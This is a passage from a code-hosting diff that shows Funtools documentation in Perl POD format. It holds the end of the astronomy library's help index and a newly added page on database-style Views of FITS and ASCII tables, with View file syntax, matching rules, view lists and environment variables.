at the the High Energy Astrophysics Division of SAO. The Funtools
library provides simplified access to a wide array of file types:
standard astronomical FITS images and binary tables, raw arrays and
binary event lists, and even tables of ASCII column data. A
sophisticated region filtering library (compatible with ds9) filters
images and tables using boolean operations between geometric shapes,
support world coordinates, etc. Funtools also supports advanced
capabilities such as optimized data searching using index files.
The main goal of the Funtools project has been to develop a minimal buy-in
FITS library for researchers who are occasional (but serious) coders. In
this case, "minimal buy-in" means "easy to learn, easy to use, and easy to
re-learn next month". We have tried to achieve this goal by emphasizing two
essential capabilities. The first is the ability to develop FITS programs
without knowing much about FITS, i.e., without having to deal with the
arcane rules for generating a properly formatted FITS file. The second is
to support the use of already-familiar C/Unix facilities, especially C
structs and Unix stdio. Taken together, these two capabilities should allow
researchers to leverage their existing programming expertise while
minimizing the need to learn new and complex coding rules.
Choose from the following topics:
=over 4
=item *
Funtools User Programs
=over 4
=item *
funcalc: Funtools calculator (for binary tables)
[funcalc(1)]
=item *
funcen: find centroid (for binary tables)
[funcen(1)]
=item *
funcnts: count photons in specified regions
[funcnts(1)]
=item *
funcone: cone search on RA, Dec columns
[funcone(1)]
=item *
fundisp: display data in a Funtools data file
[fundisp(1)]
=item *
funhead: display a header in a Funtools file
[funhead(1)]
=item *
funhist: create a 1D histogram of a column
[funhist(1)]
=item *
funimage: create a FITS image from a Funtools data file
[funimage(1)]
=item *
funindex: create an index on a column in a binary table
[funindex(1)]
=item *
funjoin: join two or more FITS binary tables on specified columns
[funjoin(1)]
=item *
funmerge: merge one or more Funtools table files
[funmerge(1)]
=item *
funsky: convert between image and sky coordinates, using WCS info from a FITS header
[funsky(1)]
=item *
funtable: copy selected rows from a Funtools file to a FITS binary table
[funtable(1)]
=item *
funtbl: extract a table from
Funtools ASCII output
[funtbl(1)]
=item *
funtools and ds9 image display
[funds9(n)]
=back
=item *
Funtools Programming
=over 4
=item *
Funtools Programming Summary
[funlib(3)]
=item *
Funtools Programming Tutorial
[funlib(3)]
=item *
A Short Digression on Subroutine Order
[funlib(3)]
=item *
Compiling and Linking
[funlib(3)]
=item *
The Funtools Reference Handle
[funlib(3)]
=item *
The Funtools Programming Reference Manual
=over 4
=item *
FunOpen: open a Funtools file
[funopen(3)]
=item *
FunImageGet: retrieve image data
[funimageget(3)]
=item *
FunImagePut: output image data
[funimageput(3)]
=item *
FunImageRowGet: retrieve image data by row
[funimagerowget(3)]
=item *
FunImageRowPut: output image data by row
[funimagerowput(3)]
=item *
FunTableRowGet: retrieve rows from a table
[funtablerowget(3)]
=item *
FunTableRowPut: output rows to a table
[funtablerowput(3)]
=item *
FunColumnSelect: select columns in a table for access
[funcolumnselect(3)]
=item *
FunColumnActivate: activate columns in a table for read/write
[funcolumnactivate(3)]
=item *
FunColumnLookup: lookup info about the columns in a table
[funcolumnlookup(3)]
=item *
FunInfoGet: get info about an image or table
[funinfoget(3)]
=item *
FunInfoPut: put info about an image or table
[funinfoput(3)]
=item *
FunParamGet: get header param
[funparamget(3)]
=item *
FunParamPut: put header param
[funparamput(3)]
=item *
FunFlush: flush I/O in a Funtools file
[funflush(3)]
=item *
FunClose: close a Funtools file
[funclose(3)]
=back
=item *
Funtools Programming Examples
[funlib(3)]
=over 4
=item *
evmerge: merge new columns with existing columns
=item *
evcols: add column and rows to binary tables
=item *
imblank: blank out image values below a threshold
=back
=back
=item *
Funtools Data Files
[funfiles(n)]
=over 4
=item *
Supported Data Formats
=over 4
=item *
FITS File and Extensions
=item *
Non-FITS Raw Event Files
=item *
Non-FITS Array Files
=item *
Column-based Text (ASCII) Files
=item *
Database Views of Tables
=back
=item *
Image Sections and Blocking
=item *
Binning FITS Binary Tables and Non-FITS Event Files
=item *
Disk Files and Other Supported File Types
=back
=item *
Funtools Data Filtering
=over 4
=item *
Table Filtering
[funfilters(n)]
=item *
Fast Table Filtering using Indexes
[funidx(n)]
=item *
Spatial Region Filtering
[funregions(n)]
=over 4
=item *
Region Geometry
[reggeometry(n)]
=item *
Region Algebra
[regalgebra(n)]
=item *
Region Coordinates
[regcoords(n)]
=item *
Region Boundaries
[regbounds(n)]
=item *
Differences Between Funtools and IRAF Regions
[regdiff(n)]
=back
=item *
Combining Table and Region Filters
[funcombine(n)]
=back
=item *
Miscellaneous
=over 4
=item *
Funtools Environment Variables
[funenv(n)]
=item *
Funtools ChangeLog
=back
=back
=cut

View File

@ -0,0 +1,407 @@
=pod
=head1 NAME
B<Funview: Database View Support for Tables>
=head1 SYNOPSIS
This document contains a summary of the options for utilizing
database-inspired Views of tables.
=head1 DESCRIPTION
B<Database Views>
In database parlance, a B<View> defines a "virtual table", i.e.,
a description of row and/or column selection filters (but with no
permanent storage space allocated). When used in place of a table, a
View selects the specified rows and/or columns from one or more real
tables. Views enable you to see complicated data tables in a more
convenient format. They also can be used as a security mechanism, by
restricting user access to specific columns and/or rows. [See:
http://www.cs.unibo.it/~ciaccia/COURSES/RESOURCES/SQLTutorial/sqlch5.htm
for a good discussion of SQL Views.]
Funtools supports an expanded notion of Views for all tabular data
(FITS tables, raw binary tables, and ASCII column files). Funtools
Views allow you to pre-set values for the filter specification, the
columns to activate, and display format (though the latter is for
fundisp only). Setting the filter and column activation values
provides functionality equivalent to that of a classical database
View, while the ability to set the format is similar to classical
report writing capabilities.
B<Funtools View Attributes>
A Funtools View is a text file containing one or more of the following
columns:
column description
------ -----------------------------
view name of view
file data file name or template
filter filter specification
columns columns to activate
format fundisp format specification
All of the attribute columns are optional, including
the B<view> name itself. This means that a View can be named or
unnamed. Unnamed Views can refer to a specific file or a template of
files (obviously if neither the view or the file column is specified,
the input View specification will never be used). You can specify any
combination of filter, column, and format parameters. (It also is
possible to apply file-specific View to other files; see the discussion
on B<View Lists> below). Each column has a size limit of 1024 characters.
For example, consider the following View file:
view file format columns filter
---- ---------------------- ------ ------------ -------
x3 ${HOME}/data/snr.ev I=%4d x y pi pha cir 512 512 .1
x2 ${HOME}/data/snr.ev x y pi pha cir 512 512 .1
x1 ${HOME}/data/snr.ev cir 512 512 .1
x1a ${HOME}/data/snr.ev x y pi pha
x0 ${HOME}/data/snr.ev
xf I=%4d
xc x y pi pha
xr cir 512 512 .1
*.ev x y pi pha
*.fit x y dx dy cir 400 400 3
*.fits I=%3d x y dx dy cir 400 400 3
This database example is in rdb format, i.e. using tab delimiters and
permitting null values. Any valid ASCII table format is acceptable,
but if you use a format that does not permit null values, it will be
necessary to quote the null strings.
The first five entries (x3, x2, x1, x1a, x0) are named entries defining
default values specifically for the snr.ev data file. Typically, you
would use these Views by specifying View name, and the corresponding
file, filter, column, and format values would be used. Note that the x0
View is essentially an alias for the pathname of this file.
The next three entries define defaults that can be applied to any
file. You typically would use these View names in conjunction with
a specific file name (see B<View Lists> below) so that the associated
parameter(s) were applied to that file.
The last three entry in the database define unnamed Views that
pertains to all files ending with the specified templates. In these
cases, any View that specifies a file name matching the file template
would be processed with the associated parameter attributes.
B<Invoking a Funtools View (in Place of an Input File)>
To use a Funtools View, you simply pre-pend the "v:" prefix to a View name or
a file name where an input file name usually is specified. For example:
fundisp v:x3
specifies that the View named x3 (with its file name and associated
parameters) is processed as the input file to fundisp. Using the
example database, above, this is equivalent to:
fundisp -f "I=%4d" ${HOME}/data/snr.ev'[cir 512 512 .1]' "x y pi pha"
That is, the format is used with fundisp's -f (format) switch, while the
filename and extension are composed of the x3 View's filename and
region filter.
Similarly, executing a command such as:
fundisp v:foo.fit
will match the unnamed View associated with the template "*.fit".
This is equivalent to executing:
fundisp foo.fit'[cir 400 400 3]' "x y dx dy"
Of course, if you omit the "v:" prefix, then no View processing takes place:
fundisp foo.fit # process foo.fit without any View parameters
fundisp x3 # error (assuming there is no file named x3)
B<Basic View Matching Rules>
When a "v:" prefix is recognized, Funtools searches for a View database
file in the following order:
location description
------------ ------------------------------------
FUN_VIEWFILE environment variable (any file name)
./.funtools.vu hidden file, default name
$HOME/.funtools.vu hidden file, default name
The first View database file located is used to construct a new
filename, as well as an activation column specification and a format
specification. The following rules are used:
1. An attempt is made to match the input name (i.e., the part of the
input View after the "v:" prefix) against the B<view> column value
(if present) of each row in the database. If a match is found, the
values of all non-blank columns are saved for later use. Also note
that the first match terminates the search: i.e., the order of the
database rows matters.
2. If no B<view> match is made, an attempt is made to match the input
name against the B<file> column value (if present). Matching is
performed on the full pathname of both the input name and the
database file name, and on the non-directory (root) part of these
files. This means that the root specification:
fundisp v:snr.ev
will match a row in the database that has a full pathname in the file,
allowing you to use a B<file>-matched View without having to
specify the full pathname. In this example, the "v:snr.ev" View
specification will match the first row (v:x3) in the database:
x3 ${HOME}/data/snr.ev I=%4d x y pi pha cir 512 512 .1
even though the row contains a fully qualified pathname as the file
value. Once again, values of all non-blank columns are saved, and the
first match terminates the search.
3. If neither a B<view> or a B<view> match has been found,
then a simple template match is attempted against the B<view>
values. Template matching supports a simplified version of file
globbing (not a regular expression), with support for a single "*"
(all characters), "?" (single character), or "[...]" (range) specification.
4. If no template match was found on the B<view> column, then a
simple template match is attempted against the B<file> columns.
5. If no match is found, then the filename (minus the "v:" prefix) is
returned.
B<More on View Matching Rules: Single vs. Multiple Matches >
The matching rules described above stop after the first match,
regardless of whether that match provides values for all three
parameters (filter, columns, and format). In cases where a B<view>
or B<file> match does not provide all three values, it is possible
that a template match might do so. With regard to the example View
database above, the x1 View provides only a filter, while omitting
both the format and columns values. But note that the final rows in
the database could provide the values via a template match on the
filename. This sort of multiple matching is especially valuable in
order to provide "global" values to several Views.
Obviously, multiple matching might not be wanted in every
case. Therefore, we support both multiple matching and single matching
according to the value of the FUN_VIEWMATCH environment variable. If
the FUN_VIEWMATCH environment variable exists and if its value begins
with "s", then a single match is used and missing parameters are not
filled in with subsequent template matches on the file name. That is,
matching rules above are followed exactly as explained above. If the
value of this environment variable begins with "m" (or does not exist),
then multiple matches are used to try to fill in missing parameters.
In this case, template matching always takes place and missing values are
taken from these template matches.
Thus, in the example above, the View specification:
fundisp v:x1
will take the file name and filter value from the x1 View:
x1 ${HOME}/data/snr.ev cir 512 512 .1
The column value then will be taken from the "*.ev" file template match
against the x1 file name:
*.ev x y pi pha
Note once again that order is important: missing values are taken in the
order in which the template matches are processed.
B<View Lists: Applying a View to Any File>
It is possible to apply a named View, or even several Views, to any
data file by appending a B<viewlist> immediately after the standard "v:"
prefix. A viewlist takes the form:
:v1,v2,...vn:
where v1, v2, etc. are named Views. The two ":" colon characters surrounding
the list are required. Thus, the syntax for applying a viewlist to a file is:
v::view1,view2,...viewn:filename
Note that the name after the last ":" is assumed to be a file; it is
not permissible (or sensible) to use a View name.
For example, the View specification:
fundisp v::x2:foo
applies the x2 View to the file foo (even if there is a View named foo)
and (in using our example database) is equivalent to:
./fundisp foo'[cir 512 512 .1] "x y pi pha"
The same command can be effected using a list of Views:
fundisp v::x1,x1a:foo
What happens if a viewlist is used and the file also matches a
template? Consider, for example, this View specification:
fundisp v::x2:foo.fit
Here, the x2 View will supply filter and column values, while the
template *.fit can also supply (different) filter and column
values. In this case, the explicitly specified Views of the viewlist
trump the matched view values.
On the other hand, if a file template match can supply a View value
that is not supplied by the viewlist, then that value will be taken
from the file template match. For example:
fundisp v::x2:foo.fits
does not explicitly supply a format value, but the file match on *.fits
can and does. You can avoid supplying missing values using file template
matching by replacing the first ":" with a "-" in a viewlist
specification:
fundisp v:-x2:foo.fits
The use of ":+" to explicitly allow file template matching is also
supported, but is the same as the default case. Note that the nuances
of viewlist support are subject to change as our experience and
understanding grow.
B<Overriding Values Associated with a View>
To override values associated with a View, simply supply the override
values in the correct place on the command line. Thus, given
the example database described above, the command:
fundisp v:x3
specifies that the View named x3, along with its file name and
associated parameters, be processed as the input file to fundisp in
this way:
fundisp -f "I=%4d" ${HOME}/data/snr.ev'[cir 512 512 .1]' "x y pi pha"
To override one or more of these values, simply specify a new value
for the format, filter, or columns. For example, if your input View file
contains a filter, then the View will use that filter as an override
of the View filter:
fundisp v:x3'[cir 400 400 3]'
will use the columns and format of the x3 View but not the x3 filter. Further
examples are:
fundisp v:x3 "x y dx dy" # activate a different set of columns
fundisp -f "I=%3d" v:x3 # use a different format statement
Note that extension names, extension index values, and other
non-filter specifications B<do not> override the View
filter. Thus:
fundisp v:foo.fit[3]
will still use the filter associated with the .fit template (see above), since
the "3" is an extension index, not a filter.
B<Environment Variables>
The following environment variables are used by Funtools Views:
=over 4
=item *
B<FUN_VIEWNAME>
The B<FUN_VIEWNAME> environment variable specifies the
name and location of the View database file. If not present, the
files ./.funtools.vu and $HOME/.funtools.vu are searched for, in
that order.
=item *
B<FUN_VIEWMATCH>
The B<FUN_VIEWMATCH> environment variable specifies whether a
single match or multiple match algorithm is used to locate parameter
values. If the value of this environment variable begins with "s",
then a single match is used and missing parameters are not filled in
with subsequent template matches on the file name. If the value begins
with "m", then multiple matches are used to try to fill in missing
parameters. The default is to use multiple matches.
=back
B<Restrictions and Problems>
Support for overriding a filter (while not overriding extension names,
extension indexes, etc.) requires that we can sense the presence of a
filter in a bracket specification. It is unclear yet whether our
algorithm is perfect.
Go to Funtools Help Index
Last updated: August 3, 2007
=cut

Some files were not shown because too many files have changed in this diff Show More